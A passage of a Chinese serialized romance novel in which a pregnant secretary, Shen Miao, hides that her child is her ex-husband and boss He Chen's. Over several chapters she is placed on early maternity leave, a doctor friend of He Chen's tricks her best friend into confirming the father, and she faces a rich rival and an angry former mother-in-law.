贺老夫人,“你们离婚的时候还该给她赔偿费呢,你怎么不给?” 贺忱,“是她不要。” “她不要你就不给啊?说到底还是你的问题,少废话,咱们贺家不缺钱,让她过得好一些奶奶这心里舒服……” 若不是相隔千里,贺老夫人早就过来看沈渺了。 “我觉得她能离职,所以这笔赔偿金完全可以省了,时间不早了您早点休息,我还有事先挂了。” 贺忱放下手机,直接挂断电话。 他站在原地沉了几秒。 手机又‘叮咚’响了几声,是贺老夫人发来的消息。 【孙子,一日夫妻百日恩,你不能恩将仇报。】 【你们结婚那两年,渺渺可没有对不起你的地方。】 【你帮奶奶照顾好她——】 诸如此类的消息,一条接一条发过来。 颇有贺忱不答应,她就一直发的架势。 贺忱回了个‘好’字。 手机终于安静下来。 他转身上楼,落座在书桌前,将沈渺的离职申请驳回了。 —— 大半夜收到离职申请驳回的邮件,沈渺本来迷迷糊糊快睡着了,一下子彻底清醒。 她捧着手机坐起来,揉了揉眼睛又看一边邮件。 还是不确定,她下床打开电脑,再次点开邮件。 离职驳回,无理由驳回。 沈渺拿过手机就准备给贺忱打电话。 看了转而一想,这个点万一程唯怡跟他在一起—— 为了不必要的麻烦,沈渺放下手机上床睡觉,打算等明天产检完,去公司一趟。 她一晚上都没怎么睡。 次日一早,她收拾好去了商音那儿。 “来得刚好,我擦个口红就能走,饿了吧?昭姐做了早餐带上,等抽完血就可以吃了。” 话落,商音将口红装起来,拎着包从化妆间出来。 商商还没醒,昭姐装了两份早餐拿过来,沈渺接过。 “谢谢昭姐。” 昭姐笑道,“客气啥,我看你肚子这么小都着急,等去了医院跟医生好好沟通一下,看看还需不需要加强营养,想吃啥跟我说,我给你们做。” 商音抱了下昭姐,“真是捡到宝了,不光照顾好孩子,还把我们两个投喂得这么好,下个月给你涨工资!” 她最近直播成效很好。 跟昭姐寒暄两句,沈渺与商音出了家门。 “是不是要晚了。”沈渺看了看时间,比预期晚上十几分钟了。 “不慌,秦川等着咱们呢。”商音不急不慢地发动引擎。 212.贺忱不见得要这个孩子 “秦川?”沈渺看向商音。 “对,他在医院身兼双职,妇产加儿科,我直接走后门让他加塞一个号,做什么都方便。” 商音朝沈渺眨眨眼睛,“聪明吧。” 沈渺安静几秒道,“可我分明记得,他以前对你爱答不理。” “他最近是热情过头了,商商出院后每天都发微信关心,可能有点醉翁之意不在酒,但我又不傻,不被他骗了去的同时还能沾上光,何乐而不为?” 商音得意一笑,一副精明算计的样。 沈渺泼冷水,“跟秦川比聪明,我觉得你连他三分之一都不到。” “你过分了,我就算再傻也能猜出来他想从我嘴里套什么话,我都知道他目的了,还能被他套了话去?” 商音白她一眼,“我说什么也不会出卖你的。” 沈渺当然知道她不会出卖自己。 但是秦川那个人,给她一种说不出的感觉。 说他是坏人,倒也不是,可说他是好人,又觉得他不正常。 “我跟你说,我打听了一下秦川,他可惨了,要不是贺忱跟他关系好,他早就毁了,所以后来他为贺忱拼过命,两个人的友谊是革命般的存在。” 商音对秦川,挺感兴趣的。 不过她感兴趣的点是,“你说秦川是不是T?” “不知道,我没接触过。”沈渺摇头。 “他这么多年只有贺忱一个朋友,你说……他会不会暗恋贺忱?” 商音只要想到秦川,就想到这个问题。 “贺忱长得帅,男女老少通吃,我觉得秦川有拜倒在他西装裤下的可能。不行,我必须得弄清楚,秦川正不正常!” 沈渺对秦川没印象。 她跟贺忱结婚那两年,秦川在国外。 现在有了秦川这么个人,她后知后觉想起来,贺忱的书房里有一张合影。 跟男人的,放在最高的位置,她的角度有些看不清楚。 现在想来,那应该是跟秦川。 “这种事情太伤人了。” 沈渺提醒她,“你说话注意,给人家留面子。” 商音,“我当然知道了,我换个法子去试探,他是不是T。” 闲聊间,医院到了。 沈渺下车去门诊楼等着,商音去停车。 她刚走到门诊楼门口,手机就响了。 是李白恬打来的电话。 “沈渺姐,贺总让我问你,为什么还没来上班?” 沈渺细眉一蹙,“我晚一些去公司。” 那端,李白恬的手机开着扩音,放在桌子上。 她小心翼翼打量着贺忱的脸色。 贺忱眼皮轻掀了下,拿过纸笔写下一行字。 “啊……你去干什么了?” 他写一个字,李白恬按一个字。 沈渺,“我在医院做检查。” 贺忱继续写,李白恬继续一字一顿地念。 “问她做什么检查,需不需要帮忙?” 沈渺:“……” 贺忱将笔一丢,面色沉下来。 李白恬,“哦不对,是问你,哦不不不,我……” “我大概两个小时以后去公司,帮我跟贺总说一声抱歉。” 沈渺瞬间明白过来,贺忱在李白恬旁边。 “不!”李白恬忙解释,“贺总不在我身边!” 贺忱修长的手指捏了下眉心,面色绷起。 这就是沈渺选中的人? 通话结束,沈渺把手机收起来,刚好商音也到了,两人一同进去。 秦川早已安排好一切,她到了以后直接去了彩超室。 商音陪着一起进去的。 沈渺躺在床上,掀起衣服露出微微凸起的小腹。 “沈小姐还是要加强一些营养,孩子虽然没到发育不良的地步,但是整体偏小。” 秦川边检查边说。 商音站在秦川旁边,盯着一片白花花的仪器。 “秦医生,这都是什么啊?” 她看不懂屏幕上的东西。 秦川指着屏幕上解释,“这里是孩子的手,这里是腿,这里是头。” “这么神奇,你都能看出来啊。” 商音悻悻笑道,“那你能不能看出来,这是男孩还是女孩啊?” “商小姐,鉴定胎儿性别是犯法的。” 秦川继续做检查,板着一张脸说。 “咱们不是认识吗?” 商音咧嘴笑,“我不去举报你。” “沈小姐是打算顺产还是剖腹产。”秦川又问。 沈渺想了想说,“对孩子来说,哪个更好?” 秦川放下仪器,给她递过来一张纸,“科学意义上来说,两者没有差别,民间老话总说没有经过挤压的孩子不聪明,都是迷信。” “我还没想好,如果条件允许就顺产吧。” 沈渺听说剖腹产容易有后遗症。 商音肚子上那条疤偶尔还难受呢。 “我提醒沈小姐一句。” 秦川将彩超单打印出来,“不论顺产还是剖腹产,都有风险,需要家属签订协议。” 商音,“我给她签字。” “最好是直系亲属或者具有特殊关系的人来签字。” 秦川提醒,“沈小姐情况特殊,没有直系亲属,可以让孩子父亲来,不论你与对方如今是什么情况,他都是首选的代理签字人。” 沈渺起身整理衣服,“就让音音签字吧。” “我生产时就是她给我签的。”商音靠在墙上,指了指沈渺说,“我俩就是彼此的亲人,法律虽然没规定但是亲闺蜜,直系亲属。” 秦川欲言又止。 “渺渺,你先去抽血。”商音拿过沈渺的包,示意沈渺先出去。 沈渺朝秦川颔首,转身离开。 彩超室只剩下秦川跟商音。 “秦医生,你加我微信,突然又变得殷勤许多,是为了什么我心里清楚,你别把我当傻子,你要是再这么想方设法地打听沈渺肚子里的孩子,我可就翻脸了。” 商音表情严肃。 秦川面容不咸不淡,“商小姐,我从来没跟你打听过沈小姐的孩子是谁的,刚刚也只是例行公事的提醒和询问。” “我才不信呢。”商音冷哼一声。 “我没必要打听,因为我知道她的孩子是谁的。” 秦川冷不丁说。 商音面色微变,“你,你说什么?” “如果沈小姐心里没鬼,大大方方说出来就是,她越是不说才越让人心里起疑。” 秦川条理清晰道,“我跟贺忱一起长大的,我了解他,你让沈小姐主动跟贺忱摊牌,贺忱不见得要这个孩子。” 213.贺忱:我怎么放你走? “他若要,你负责啊?”商音一脸他站着说话不腰疼的态度。 秦川的动作一哆嗦,下意识想拿起手机,点开录音。 但是商音已经岔开话题了,“不跟你说这些,你就告诉我沈渺怀的到底是什么,行不行?” 秦川手上的动作一顿,看她一眼又别开目光。 “无可奉告。” “死秦川。”商音小声骂了句,拿着彩超单就走了。 那端,沈渺抽完血,准备去公司,她给商音打电话,让商音先回家。 商音把车开到公司门口等她,坚持要送她过去。 “贺忱拒绝了我的离职申请,我得去看看什么情况。” 沈渺弯着腰,在窗外不上车,她怕是会浪费很长时间。 “你上车,我有话跟你说。”商音给她使眼色,让她上去。 在她的坚持下,沈渺拉开车门上去,“怎么?你跟秦川问到是男孩女孩了?” 商音一脚油门踩下去,汽车驶入车流。 “你想知道?” 当初她怀孕的时候,想方设法也得知道怀的什么。 可沈渺怀孕这么久,也不见她好奇自己怀的什么,商音以为她没那么想知道。 “早说,我就是给秦川磕头,也得问问是什么。” 沈渺摇头,“那倒是不用,我没那么想知道,就是好奇你要跟我说什么。” 商音挑了挑眉,朝她甩过去一个激动的眼神。 “刚刚秦川说,他知道你怀的是贺忱的孩子,以他对贺忱的了解,你跟贺忱摊牌,贺忱不见得要你这个孩子。你说有没有可能,真摊牌以后他跟程唯怡结他的婚,再给你一笔天价抚养费?” 贺忱手指头缝里漏一漏,就够沈渺跟孩子一辈子衣食无忧的。 巨大的财力悬殊,对她们来说算得上天价。 沈渺呼吸一滞,静默数秒道,“所以你说秦川怎么知道我这个孩子是不是贺忱的呢?” “我……”商音一噎,开车的手明显慌了,“跟我没关系,我没说!” 她是没说。 但刚刚,被秦川给诈出来了。 “靠!”商音使劲拍了下脑门,“渺儿,我对不起你,秦川这孙子,真他妈阴啊!” 沈渺:“……” 怕什么来什么。 “秦川真不是人,等会儿我打电话当面骂!” 沈渺倒是渐渐淡定了。 “估计他也没想到你的话这么好套,所以来不及留证据,你别找他,等他再找你时不承认就行了。” 万事讲究证据。 没有证据,她这个当事人说什么是什么。 商音脸色一虚,“我还想等你进了公司,就给秦川打电话骂他呢。” 经沈渺提醒,她后知后觉明白,真骂了就等于给秦川二次确认的机会。 “别骂了,你先回家。” 公司门口,沈渺下车,叮嘱商音两句。 商音冲动归冲动,胜在听话。 亡羊补牢,为时不晚。 沈渺交代好,进入公司。 她前脚走,后脚商音就接到了秦川的电话。 “商小姐,刚刚我说让沈渺跟贺忱摊牌的事情,你跟沈渺说了吗?” 商音坐在车里,握拳咬牙,暗骂着秦川卑鄙,竟然真被沈渺猜对了! 但她装傻充愣,“什么摊牌?” “就,摊牌她肚子里的孩子,是——” “秦医生,你说的话我怎么听不懂?” 商音咬牙切齿,语气却无辜,“渺渺肚子里的孩子,有什么可摊牌的?” 那端,秦川沉默了几秒道,“那是我理解错了,打扰商小姐了。” “没事,挺乐意被秦医生打扰的。”商音语气好不讽刺,“就是秦医生也太冒昧了,连普通话都理解错了,还特意打电话过来……” 秦川静静听着,她那张嘴够损的。 直到她损够了,他结束了通话。 —— 百荣分部顶层总裁办。 沈渺来的不巧,贺忱正在跟韩文松谈事情。 她回办公室等,一等就是一上午。 临近中午,吃饭的点贺忱从办公室出来,看样子是跟韩文松没谈完,要边吃边谈。 “沈总,你不是离职吗?” 韩文松看到她,先开了口。 沈渺微点头,算打过招呼,不再理他,看向贺忱。 “贺总,方便单独聊两句吗?” 韩文松目光渐变的警惕,盯着沈渺,“有什么事情,还得单独跟贺总说,贺总很忙的。” 成为贺忱的‘狗腿子’后,韩文松说话都比以前语气冲。 而贺忱也开始给他足够的面子。 “韩经理说的是,你有话就去饭桌上一起说吧。” 韩文松下意识说,“贺总,沈总即将离职的人,不方便听我们的谈话内容吧?” 沈渺,“确实,我已——” 贺忱嗓音淡然,打断她,“她不离职。” “那她,这几天不是就在离职静默期吗?”韩文松很希望沈渺走。 贺忱沉默,显然他说沈渺不离职就不离职,对韩文松的废话理都不想理。 韩文松复又问,“那沈总什么时候回来上班?” 沈渺还打算找个时间,单独跟贺忱说离职的事情。 她并未插话。 却听贺忱道,“提前给她休产假,以后公司事务你多承担一些。” “产,产假?”沈渺愣住。 正式产假还得小两个月以后才能申请休,结果贺忱现在就给她放产假了? 关键是,带薪吗? “贺总放心,这都是应该的。”韩文松怕沈渺回来,地位也跟着回来。 可沈渺这产假休息起来,小半年进去了,到时候他在贺忱身边的地位,早稳了。 “走吧。”贺忱朝电梯口走去。 韩文松点头哈腰的跟着,快一步摁下电梯。 “我来的时候刚吃了饭,还不饿,贺总跟韩经理去吃吧,我等着您回来。” 沈渺没跟上去,她说完又回了办公室。 贺忱带着韩文松走了。 一顿午饭吃了大概两个小时,贺忱才回来。 他回来后,直接打通内线,“过来。” 沈渺起身就去了他办公室。 “贺总,辞职的事情我是认真的,提过这么多次,也该正面解决一下这个问题了,我——” “奶奶给我打电话特意让我多照顾你,还说你要是辞职赔偿给你两百万。” 贺忱十指穿插,抵在办公桌上,他话语锋锐犀利,“我怎么放你走?” 214.贺忱有种从未拥有过她的错觉 不是不想放,是不能放。 两百万,沈渺在他心里的地位,不值这个价。 沈渺的脸色不可抑制的白了几分。 “抱歉,又给贺总添麻烦了,我给奶……贺老夫人打电话说一声,我不要钱。” 宁可不要钱,她也要离职。 贺忱黑白分明的眼眸沉邃了不少。 “沈渺,你是会拿捏人心的。在这千里之外,让老太太悬着一颗心,你觉得她会听吗?” 他说的是事实,可这事实太过刺耳。 好像沈渺心机,故意这么做。 “贺总,你可以跟老夫人说给了我两百万,我不会戳破。” 沈渺讨厌这种跟贺忱针尖对麦芒的对话方式。 贺忱像是一把刀,插在她心口。 每次对话,那把刀都要颤上几颤。 小幅度的动作,却让她有钻心的痛感。 “你觉得,骗得了她?” 贺老夫人有多执着,不用贺忱说,沈渺也知道。 像是一个死局,一潭死水。 她陷在里面,水深火热的出不去。 “那就谢谢贺总了,今天起我开始休产假。” 沈渺不再挣扎,顺遂。 那天走的时候,就将东西带的差不多,她只拿了办公桌上的小摆件,就走了。 李白恬送她到门口,“贺总说,今天起我暂时顶替你以前的位置,给他记录会议,安排行程。” “这是好事。”沈渺打了车,趁着等车的功夫,交代李白恬。 “贺总一向不喜欢迟到,任何的工作提前十分钟提醒,还有他喜欢美式咖啡加冰,冬天也这样,他喜欢现磨咖啡,我把那家连锁的咖啡豆链接发给你,你买了去财务报账就行……” 贺忱的习惯,她手到擒来。 李白恬拿着个小本本记,“可是沈渺姐,我怕是做不好这个工作。” “放心,贺总的脾气没传言那么可怕,只要不犯明显错误,他会给你适应期。” 沈渺记得当初她刚入职,每天都状况百出。 她一度以为,自己要被开除,保不住这份工作了。 但是贺忱气归气,还是给了她足够的时间,让她把这个职位的所有事情,都捋顺了。 “那万一我有问题,可以给你打电话吗?” 李白恬还是不放心。 沈渺的车到了,司机停好后摁了两下喇叭。 她拍了拍李白恬肩膀,“可以,快回去吧,我先走了。” 她转身朝车上走去。 沈渺带回来的消息,不是成功离职,而是休产假。 这出乎商音的预料,“谁家好人产假提前休两个月?贺忱这是给你开后门呢吧?还有啊,秦川变着法的想从我嘴里知道,你怀的是不是贺忱的孩子,是不是贺忱起疑心了?” “不知道。”沈渺猜不透贺忱怎么想的,“但他应该是没有想过这个孩子会是他的,这是好奇孩子是谁的。” 否则,就不是让秦川来试探这么简单了。 可听秦川的语气,又很确认? “这两人搞什么?”商音挠头,根本无法理解,“他俩明明是一伙的,却又不像一伙人。” “休产假也好,至少不用每天都看到贺忱了。” 沈渺松一口气的是,到她生产,都不用再面对贺忱。 “那等有时间,我陪你去选待产包。” 商音来了精神,“等我先列个清单。” 沈渺笑着摇头,“不用了,能网购的网购,不行的我自己去买,你这段时间就好好陪着商商吧,最近流感多,别生病了。” 上次商商生病,小家伙痛苦不说,也快要了商音半条命。 用‘疯了’来形容她那几天,一点都不为过。 不是自责自己没照顾好孩子,就是怀疑孩子生了大病。 “我,我那几天刚好要来大姨妈,你别笑我,等你生了也这样!” 商音想到自己那几天的德行,不自在极了。 沈渺打趣了几句,按照她列的待产清单,再网上选购东西。 但婴儿床跟奶粉一类,还是到实体店去买合适。 —— “贺总,是不是哪里不合适啊?” 李白恬给贺忱弄了咖啡,汇报行程。 迟迟没等到回应,她这才发现贺忱抿了一口咖啡后,就像石化了一样,坐在那里。 贺忱眼眸微转,将咖啡杯放下。 “你冲的咖啡?” 李白恬点头。 说完,见贺忱不吭声,她以为口味不合适,忙解释,“我没磨过咖啡豆,不如沈渺姐的手艺,我多练习几次,会好的!” “她教你的?”贺忱面色不辨喜怒。 李白恬点头。 “她还教你什么了。” 李白恬从口袋拿出便贴本,一页页的翻开。 “沈渺姐说您只喝冰咖啡,还说您饮食习惯偏清淡,胃口不好容易胃痛让我常备着胃药……” 这些,若不是沈渺说,贺忱自己都没有发现。 他的目光一下变得空洞许多。 脑海里浮现沈渺在身边时的场景,贺忱有片刻的恍惚。 “贺总,沈渺姐可真了解你。”李白恬观察这两天,发现沈渺说的每一件事,都非常的精准。 连贺忱衣服的尺码,她都交代的很清楚。 偶尔参加宴会,贺忱会让她准备礼服。 “确实。”贺忱薄唇溢出两个字。 李白恬怔了怔,又忙开口,“我的意思是,沈渺姐真称职!” 贺忱毕竟快结婚了,用‘了解’两个字来形容沈渺对他,怕是容易引人猜忌。 “出去忙吧。” 要说称职,沈渺是天底下最称职的下属。 想当初他们婚姻内那两年,她都没逾越的地方。 妻子的职责,除了每晚的春宵,她没有尽到过。 现在想来,贺忱有种从未拥有过她的错觉。 乍然响起的铃声,扯回贺忱的思绪,他拿出手机接电话。 “贺总,沈秘书休产假了?”林昭的声音传来。 贺忱‘嗯’了一声。 林昭,“韩董这两天一直不安分,跟高家的人联系,我偶然查到高家人似乎在调查沈秘书。还查到了孤儿院这边,您说高家人想干什么?” 贺忱狭长的眼眸倏地一眯,“盯着高家的一举一动,韩董那边不用管,都在我的掌控中。” “是。”林昭应声,静默数秒又提醒了一句,“沈秘书是您的人,多少双眼睛都盯着她,只怕休了产假也不安生,这两天高家人一直跟着她。” 高家对沈渺的关注度,过头了。 贺忱想到什么那般,拿起外套起身,阔步朝外走,“查查沈渺这几天都在干什么,现在人在哪里。” 215.但我的人可不穷酸 沈渺想趁着还没孕晚期,提前把东西都买好。 她抽了天时间去商场买东西,商音本要跟着来,但出门前商商闹着找她,不小心磕了头。 沈渺劝她别跟着了,她出乎预料的好说话,竟是答应了。 直到沈渺收拾好出了家门,看到何之洲的车停在路边,她才明白过来,商音为什么答应的那么痛快。 “沈渺,你去哪儿?上车我带你一程!” 何之洲将跑车顶棚升上去,探出半个身体来,朝她招手,“今天做你的专职司机!” 沈渺在他那拉风的超跑前停下,“我去哪儿,你应该清楚。” “额……”何之洲摸摸鼻子,“你看你,还不如商音把我当朋友呢,我整天待在家里没事,你要干什么喊我不就行了?” “你没事就回京北吧,我已经开始休产假了,没有需要你帮忙的地方。” 沈渺每次在他家门口路过,他都要出门来打招呼。 不知道他嫌不嫌累,反正沈渺替他累,总盯着她。 “那行,你上车我陪你去商场,过两天我就走。” 何之洲下车,绕到副驾把门打开。 沈渺干脆上了他的车,系好安全带后取消了网约车。 “听说贺忱给你休产假了?”何之洲问。 “嗯。” “吃公家饭都没这么早休产假,贺忱怎么想的啊?” “你想知道,自己去问他。” 何之洲撇嘴,“我不去,最近不知道怎么了,他像个活阎王,抢了九州好几个项目了,我爸给我打电话让我千万别在这时候招惹他。” 贺忱对何之洲像是有间接性的情绪。 时不时就抢九州项目,跟何家作对,隔一阵没准又消停些。 那些项目,没有可抢性,主打一个对着干。 “或许他不喜欢你总跟着他。” 除此之外,沈渺想不出其他理由。 贺忱前脚来深城,后脚何之洲就来了,说好听了是跟着,难听了就是跟踪。 “我可不是冲着他来的。”何之洲振振有词,“我又不是同性恋,谁跟秦川一样,整天跟在他屁股后面。” 沈渺不再说话,不跟他讨论与贺忱有关的话题。 半小时后,商场。 何之洲把车停在门口,“你先进去找个地方等我,我去停车。” “好,三楼是孕婴用品,我上去等你。” 沈渺来之前就查好了这家商场每一层的销售类别。 她讲包挎在胳膊上,进入商场。 何之洲驱车直奔地下停车场,刚转弯车身猛地一震,刺耳的响声划破负一。 后视镜里,一辆大车冒着黑烟,怼在他车屁股上…… —— 沈渺在三楼电梯口等了一会,迟迟不见何之洲上来。 她转身先进了临近的孕婴店。 服务员立马迎上来,“女士您好,请问您有什么需要?” “我想要一张婴儿床。”沈渺在外面就看到了几张小床。 原木色,被打磨的光滑精致,形状也很独特。 离近了看,更加细致。 服务员一顿介绍,纯手工雕刻,进口木制材料等等。 这家商场有线上商城,沈渺在网上看过这款婴儿床,只是想来实体店看看具体细节。 现在看来确实很好,她打算立刻就定下。 “这款婴儿床现在就一个了,下一批货至少要等三个月,这个品牌和款式在全国连锁门店卖的最好。” 服务员见她心动,立马提醒,“刚刚还有两位顾客看过,在考虑说等下回来呢。” “那我要了。”沈渺打开包,正欲拿出手机交钱。 一只捏着黑卡的手伸过来,当着她的面,递到服务员面前。 “这张婴儿床,我要了。” 沈渺抬头,一眼就看到吴玥珊染着豆蔻色指甲的手。 服务员‘呃’了一声,“这位小姐已经打算要了。” 吴玥珊,“打算要,就是还没要,而且钱也还没交。” “这……”服务员一脸为难。 “高少夫人,对你来说这种廉价的婴儿床,应该看不上眼,没必要为了跟我过不去,浪费钱吧。” 这张婴儿床八千,沈渺看到价格肉是小疼的。 但对高家来说,八万的婴儿床都不在话下。 吴玥珊这么做,无非是为了跟她作对。 “怎么会呢?”吴玥珊把卡塞服务员手里,冲沈渺挤出一个笑容来,“我买来送给你的。” 沈渺一怔。 “去买单,把这张婴儿床送到沈小姐家里。” 吴玥珊睨了服务员一眼。 服务员反应过来,这才拿了银行卡去前台结账。 “不用了。”沈渺想拦,却被吴玥珊给拦下了。 “这当做我之前曝光你的事情,给你的补偿,但是我收回之前的道歉,毕竟媒体没报道错,要不是我婆婆让我跟你把关系搞好,我才懒得理你。” 吴玥珊面露讥讽,挺着的大肚子像是快把肚皮撑破了一样。 她双手扶着肚子,好不威风,“虽然不知道我婆婆是觉得哪儿欠了你,让我低头,不过那只是个面子工程,我怀的可是双胞胎,高家的长子长孙,你有气也给我憋着……” 果然,吴玥珊露出丑陋的一面,更让沈渺觉得顺眼。 她不拦着服务员去买单了。 “高少夫人不亏是母凭子贵,人不怎么样肚子真争气,说不讲理的话都这么硬气,既然如此我就谢谢你的好意了。” 她把手机收起来,恰好服务员刷完卡,过来签单。 “女士,请您留一下地址。” 服务员递给沈渺一张空白的纸。 沈渺接过来,填写地址。 “八千块的婴儿床,就换来你一句谢谢啊?你可真够廉价的,没见过世面……” 吴玥珊想看的是她打掉牙往肚子里咽,这床不的不收。 偏偏沈渺坦然自若的收下,像是她应得的一样,吴玥珊顿时来了气。 “沈渺,要我说你肚子里这孩子怪可怜的,连张好床都买不起,你这妈当的良心不痛吗?你一个孤儿院长大的怎么敢,又怎么配当单亲妈妈?你是从小苦日子没过够,还要让你的孩子再体验一次吗?” 沈渺手上的动作一顿,她将填好的地址交给服务员,看向吴玥珊。 “比起物质,品质更重要,相比之下我更为你肚子里两个孩子感到担忧,希望他们未来不要像你一样尖酸刻薄。” “你——”吴玥珊指着她,“你一个穷酸女人,敢瞧不起我和我的孩子?我——” 不等她的话落地,沈渺身后蓦地出现一抹颀长的身影。 男人双手插在口袋,看着她,“不愧是高家的少夫人,口气真不小,但我的人可不穷酸。” 216.没想到,那个孩子竟然是贺忱的! 男人的声音低沉富有磁性,带着一股与生俱来的威压感。 一瞬间,店里的气氛凝固,服务员大气都不敢喘了。 沈渺回头,看到贺忱的一刹那,心跳不可抑制的加快了两秒。 很快就归于平静,她微垂下眼眸,往旁边站了站。 吴玥珊直对上贺忱,面色有些虚。 “贺总,你什么意思?” 贺忱,“实话实说。” “你给她出头?”吴玥珊哼了声,“你不怕我告诉唯怡?” “请便。”贺忱侧目看了眼沈渺。 她穿着浅粉色针织长裙,这颜色和款式都很挑人。 像是为她量身打造的一样,直角肩将衣服撑出完美的角度,瘦瘦小小又有些圆润感。 靓丽的浅色更是衬的她肤色白皙细嫩。 看起来就好欺负,难怪随便被人欺负了。 “你……” “这位小姐。” 服务员见苗头不对,硬着头皮打和,“既然您把婴儿床送给沈小姐,那再为您选一个吧?” 说着,服务员又与沈渺说,“沈小姐,你老公来了,还需要我们送到家里吗?” 老公?贺忱? 不光沈渺一个人没反应过来,吴玥珊也反应不过来。 贺忱却反应很快,“不用,送到我车上就好。” “好,您说一下车位号我让仓库的人直接送下去。” 服务员又拿出纸笔记录。 “你们这么明目张胆吗?”吴玥珊反应过来,见贺忱都不解释一下,脸色一阵青白。 贺忱睨她一眼,扣住沈渺手腕,拉着沈渺离开。 他的置之不理,让吴玥珊气上加气,掏出手机就给程唯怡打电话。 “我看到贺忱了,他陪沈渺买待产包,唯怡,你要是咽的下这口气,我就没办法跟你做朋友了,太窝囊了!” 程唯怡还在深城,想伺机跟贺忱多接触。 奈何,贺忱根本不给机会。 “什么?他陪沈渺买待产包?” 贺忱明明已经知道沈渺怀了别的男人的孩子,为什么还跟沈渺走这么近? “可不嘛,唯怡,你们都快结婚了,贺忱跟沈渺还这么明目张胆,这个婚能不能结成,都是未知数!” 吴玥珊没说的是,就程唯怡这么小家子气,根本拿捏不住贺忱。 程唯怡犹豫了下说,“方便的话,你帮我拍几张照片,行吗?” “行,等着。”吴玥珊挂了电话,抬脚朝他们离开的方向,追上去。 —— 停车场,沈渺与贺忱在等服务员送婴儿床过来。 她揉着方才被贺忱圈住的手腕,人有些不自在。 “贺总,我打个车把东西带回去就行了,不麻烦你送,刚刚谢谢你。” 贺忱双手插兜,靠着车身,面视前方。 “不用谢,怕你丢了百荣的脸,高家再强不过是地方企业,你还能被一个纯家庭主妇欺负了?” 沈渺在工作上没吃过亏。 在商圈,她背靠贺忱,腰板永远都能挺直。 但在上流圈子,沈渺没有拿得出手的身份。 该避锋芒时,就避锋芒,这是她一向都懂的规则。 贺忱这生来就含着金汤匙的人,永远都不会懂。 “高家派人调查你了。” 贺忱见她面色变幻,有些不好,他语气逐渐缓下来。 “你跟高家结梁子了?” 沈渺一怔,不由得拧眉,“除了跟吴玥珊关系不好外,没有什么往来。” 若高家想为吴玥珊出头,找补面子,不该是调查。 借着沈渺这父不详的孩子发挥,沈渺根本无力还手。 “那你好好想想,跟高家的接触中有没有什么不对。” 贺忱已经让林昭盯着高家了,但他还是提醒道,“你现在情况特殊,别被人钻了空子。” 钻了,空子? 他指的是,她肚子里的孩子,那条小生命,她该时时刻刻的注意,不论是任何的不对劲,都要防备。 沈渺木讷点头,将心头那抹他关心带来的涟漪压下去。 “贺总,我虽然不知道高家调查我的原因,但是高少夫人针对我的原因,我是清楚的。” 她余光瞥见角落里鬼鬼祟祟的身影,面色冷下来,“您和程小姐快结婚了,我们应该保持适当的距离。” 贺忱喉咙一紧,她寡淡冷漠的表情,令他心里微微发刺。 他下意识说,“我跟程唯怡——” “你跟程小姐如何,跟我没关系,希望贺总能把界限分清楚。” 沈渺及时打断贺忱的话,她不想知道,贺忱跟程唯怡感情多好或者吵了几次架。 贺忱面色染上薄怒,她的冷漠拒她于千里之外,令他胸腔里絮了一团火。 “沈渺,你不知好歹。” 他生气了。 不远处,服务员从电梯里出来,推着购物车发出阵阵杂音。 “沈小姐,咱们的婴儿床有上门组装的服务,您跟您先生是自己体验给宝宝组装还是让工作人员来?” 沈渺越过贺忱,迎着服务员走过去,“抱歉,麻烦帮我送货上门吧,顺便组装了。” 服务员下意识看向贺忱。 “还有,他不是我老公,你误会了。” 沈渺添了句解释,双手拢着裙带,朝与贺忱相反的方向离开。 “哎——”服务员反应过来时,她身形已经消失在拐角处。 贺忱上了车,关车门的声音震天响,整个停车场发出几阵回音。 一个小时后,婴儿床送回家,被组装好。 短短两天,婴儿房被布置的变了样似的。 沈渺本有些低落的心情,看到宝宝的东西又恢复了暖意。 商音抱着商商过来,在婴儿房玩了一会儿,两人了了半天,她只字未提遇到贺忱的事情。 直到她放在爬爬垫上的手机响了,来电显示‘明董’。 商音脸色一菜,“这贺家人,怎么一个接一个的没完没了?” “可能是工作上的事情。” 沈渺拿起手机,转身出了婴儿房。 “沈渺,我没想到你这么卑鄙,想母凭子贵,嫁到我们贺家?我告诉你,你就是生下这个孩子,我也不认!” 明黎艳愤怒到极致的声音,尖锐刺耳。 距离沈渺怀孕的新闻爆出已经过去好几天了。 明黎艳看到了新闻,根本没当回事,且不说新闻有真有假。 就算沈渺真怀了,跟他们又有什么关系? 没想到,那个孩子竟然是贺忱的! 217.订票飞深城,一切交给我 “您误会了,孩子不是贺忱的。” 沈渺极力否认,“我跟贺忱离婚半年,才怀上的这个孩子。” 明黎艳怒极反笑,“论心思深沉,你是第一名,因为你知道我从来没有认可过你,你婚内想生我也不会让你生下贺忱的孩子,所以你故意离婚让我放松警惕……” 不知道她哪里来的那么多内心戏,离谱到沈渺觉得可笑。 该说不说,这种说法传出去,上流圈子的人都会相信。 毕竟,豪门的优越感就会让他们觉得,所有跟他们有关联的人,都带着目的的。 “我没你想的那么贪财、势,更没有那么爱贺忱,我不会为了留在他身边费这么大心思,这个孩子跟贺忱没关系,跟贺家更没关系。” 沈渺听她说完那一番离谱的话,言简意赅的解释了几句,然后挂断电话。 明黎艳又拨过去,电话响了几声被挂断,再打已经打不通了。 沈渺竟然敢拉黑她? 明黎艳眼前一阵发黑,坐在沙发上冷静了几秒,然后拿过手机,给程唯怡打电话。 “伯母,呜呜呜……”程唯怡的哭声传来,“沈渺也太坏了,贺忱哥一定是不想传出去,怕丢人,所以才不得不被她牵着鼻子走的!可是我们要怎么办?这个婚还怎么结?” “别哭了,唯怡,好孩子,我这就去深城给你做主!”明黎艳安慰着她,“你别为这事儿跟贺忱闹,就像你说的,他要顾全贺家跟公司,理解他一下。” 程唯怡‘嗯’了声,一抽一抽的说,“我,我知道,伯母放心,我不会给贺忱哥添乱,也不会让贺家陷入难堪的境地!” 明黎艳松一口气,“好孩子,我就知道没看错你,这件事……先别跟你父母讲,免得他们在京北着急上火,一切都有伯母给你做主呢,明白吗?” “我知道,我都听伯母的。”程唯怡啜泣着说。 “好了不哭了,我马上订票飞深城,一切交给我。” 明黎艳挂了电话,订飞往深城的机票。 那端,挂了电话的沈渺,看到明黎艳第二次打过来,心底就已经有了不好的预感。 明黎艳肯定不会善罢甘休的。 不过她觉得,贺忱能挡住明黎艳。 “怎么?”商音扒着婴儿房的门,“前婆婆找你干什么?” 沈渺,“她觉得我怀的是贺忱的孩子。” 商音一愣,“不是,你怀孕的新闻都传出去几天了,她现在才找上门来?” 确实蹊跷。 想到商场那一幕,沈渺后知后觉反应过来,只怕这事儿又是程唯怡干的。 “人家怀个孕,全家人围着转,你怀个孕前夫一家人围着转。” 